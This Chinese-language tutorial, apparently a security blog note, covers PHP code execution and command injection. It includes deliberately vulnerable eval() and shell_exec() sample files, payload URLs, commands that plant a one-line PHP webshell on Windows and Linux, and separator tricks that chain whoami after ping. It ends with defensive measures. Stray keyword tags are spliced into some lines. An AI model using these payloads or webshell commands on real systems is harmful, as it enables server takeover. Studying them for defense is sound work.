本質:用了相關函數、卻存在能夠控制的變量。php
發現:工具 掃描、代碼審計linux
代碼執行:web
代碼執行產生函數:eval,assert等,sql
code_eval.php:shell
<?php $code=$_GET["name"]; eval($code); ?>
payload:http://127.0.0.1/code_eval.php?name=echo phpinfo();windows
eval():將這串代碼以php執行數組
利用:安全
http://127.0.0.1/code_eval.php?name= echo ^<?php eval($_POST[pandas]); ?^> >C:/wwwroot/webshell.php 函數
代碼注入的防治:工具
升級到PHP 7.1,該版本對大部分常見的執行動態代碼的方法進行了封堵。
php.ini中,關閉「allow_url_fopen
」。在打開它的狀況下,能夠經過 phar://
等協議丟給include
,讓其執行動態代碼。
php.ini中,經過disable_functions
關閉 exec,passthru,shell_exec,system
等函數,禁止PHP調用外部程序。
永遠不要在代碼中使用eval。
設置好上傳文件夾的權限,禁止從該文件夾執行代碼。
include 文件的時候,注意文件的來源;須要動態include時作好參數過濾。
命令執行(命令注入):
本質:命令執行產生函數:exec,shell_exec,system,passthru等將參數以dos、shell執行
exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引號` 其實是使用shell_exec()函數,此外還要當心mail()函數的安全
system() 輸出並返回最後一行shell結果。
exec() 不輸出結果,返回最後一行shell結果,全部結果能夠保存到一個返回的數組裏面。
passthru() 只調用命令,把命令的運行結果原樣地直接輸出到標準輸出設備上。
popen()、proc_open() 不會直接返回執行結果,而是返回一個文件指針
cmd_eval.php:
<?php $cmd=$_GET["name"]; echo shell_exec($cmd); ?>
payload:http://127.0.0.1/cmd_eval.php?name=netstat%20-ano
http://127.0.0.1/cmd_eval.php?name=ipconfig
命令執行利用及繞過姿式
寫入webshell:
利用命令注入寫一句話php webshell到web目錄涉及到一些特殊字符的轉義,假設須要寫入<?php eval($_POST[kang]); ?>,方法以下:
WINDOWS:用^轉義<,即執行echo ^<?php eval($_POST[kang]); ?^> > web可寫目錄加文件完整名字
linux下須要用\來轉義<,不過不少php都默認開啓gpc(魔術引號magic_quotes_gpc())。能夠先用16進制轉換一句話再用xxd命令把16進制還原,命令以下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可寫目錄加文件完整名字
後面命令注入也有時間盲注和sql注入很像
| 命令管道符
<>>> 文件重定向符
測試: 0 | dir c:
代碼只過濾了部分特殊字符,能夠考慮用其餘字符進行測試,這邊列舉一下Window/Linux可利用的特殊字符:
windows支持:
| 直接執行後面的語句 ping 127.0.0.1|whoami
|| 前面出錯執行後面的 ,前面爲假 ping 2 || whoami
& 前面的語句爲假則直接執行後面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的語句爲假則直接出錯,後面的也不執行,前面只能爲真 ping 127.0.0.1&&whoami
Linux支持:
; 前面的執行完執行後面的 ping 127.0.0.1;whoami
| 管道符,顯示後面的執行結果 ping 127.0.0.1|whoami
11 當前面的執行出錯時執行後面的 ping 1||whoami
& 前面的語句爲假則直接執行後面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的語句爲假則直接出錯,後面的也不執行,前面只能爲真 ping 127.0.0.1&&whoami
如何防止命令執行漏洞
PHP內置的兩個函數能夠有效防止命令執行:
1. escapeshellarg() 將給字符串增長一個單引號而且能引用或者轉碼任何已經存在的單引號,這樣以確保可以直接將一個字符串傳入 shell 函數,而且仍是確保安全的。對於用戶輸入的部分參數就應該使用這個函數。資料參考:http://cn.php.net/manual/zh/function.escapeshellarg.php
2. escapeshellcmd() 對字符串中可能會欺騙 shell 命令執行任意命令的字符進行轉義。 此函數保證用戶輸入的數據在傳送到 exec() 或 system() 函數,或者 執行操做符 以前進行轉義。資料參考:http://cn.php.net/manual/zh/function.escapeshellcmd.php
3. php中禁止disable_functions(禁用一些危險函數)
4. 參數值儘可能使用引用號包裹,並在拼接前調用addslashes進行轉義
固然,修復方法還有不少方式,修復方式通常有兩種思惟:
一、黑名單:過濾特殊字符或替換字符 二、白名單:只容許特殊輸入的類型/長度